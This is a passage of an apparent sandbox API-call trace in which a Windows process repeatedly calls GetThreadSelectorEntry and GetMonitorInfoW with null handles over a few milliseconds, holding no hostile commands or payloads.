lpSelectorEntry=0x18ad48) returned 1 [0054.421] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.421] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.421] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.421] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.421] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.421] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.421] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.421] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.421] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.421] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.421] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.421] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.421] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.421] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.421] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.421] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.421] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.421] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.421] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.421] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.421] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.421] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.421] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.421] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.421] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.421] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.421] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.421] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.421] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.421] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.421] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.421] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.421] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.421] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.421] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.421] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.421] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.421] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.421] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.422] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.422] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.422] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.422] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.422] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.422] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.422] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.422] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.422] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.422] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.422] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.422] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.422] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.422] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.422] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.422] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.422] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.422] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.422] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.422] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.422] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.422] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.422] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.422] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.422] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.422] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.422] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.422] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.422] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.422] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.422] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.422] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.422] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.422] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.422] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.422] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.422] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.422] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.422] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.422] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.422] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.422] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.423] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.423] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.423] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.423] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.423] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.423] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.423] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.423] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.423] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.423] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.423] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.423] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.423] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.423] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.423] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.423] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.423] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.423] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.423] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.423] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.423] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.423] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.423] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.423] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.423] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.423] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.423] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.423] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.423] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.423] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.423] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.423] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.423] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.423] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.423] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.423] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.423] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.423] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.423] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.423] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.423] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.423] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.424] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.424] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.424] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.424] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.424] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.424] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.424] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.424] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.424] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.424] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.424] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.424] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.424] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.424] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.424] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.424] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.424] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.424] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.424] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.424] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.424] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.424] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.424] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.424] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.424] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.424] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.424] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.424] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.424] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.424] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.424] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.424] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.424] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.424] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.424] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.424] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.424] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.424] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.424] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.424] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.424] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.424] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.424] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.425] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.425] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.425] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.425] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.425] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.425] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.425] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.425] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.425] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.425] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.425] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.425] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.425] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.425] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.425] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.425] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.425] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.425] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.425] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.425] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.425] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.425] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.425] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.425] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.425] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.425] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.425] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.425] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.425] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.425] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.425] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.425] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.425] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.425] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.425] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.425] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.425] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.425] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.425] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.425] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.425] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.425] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.425] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.425] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.425] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.426] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.426] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.426] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 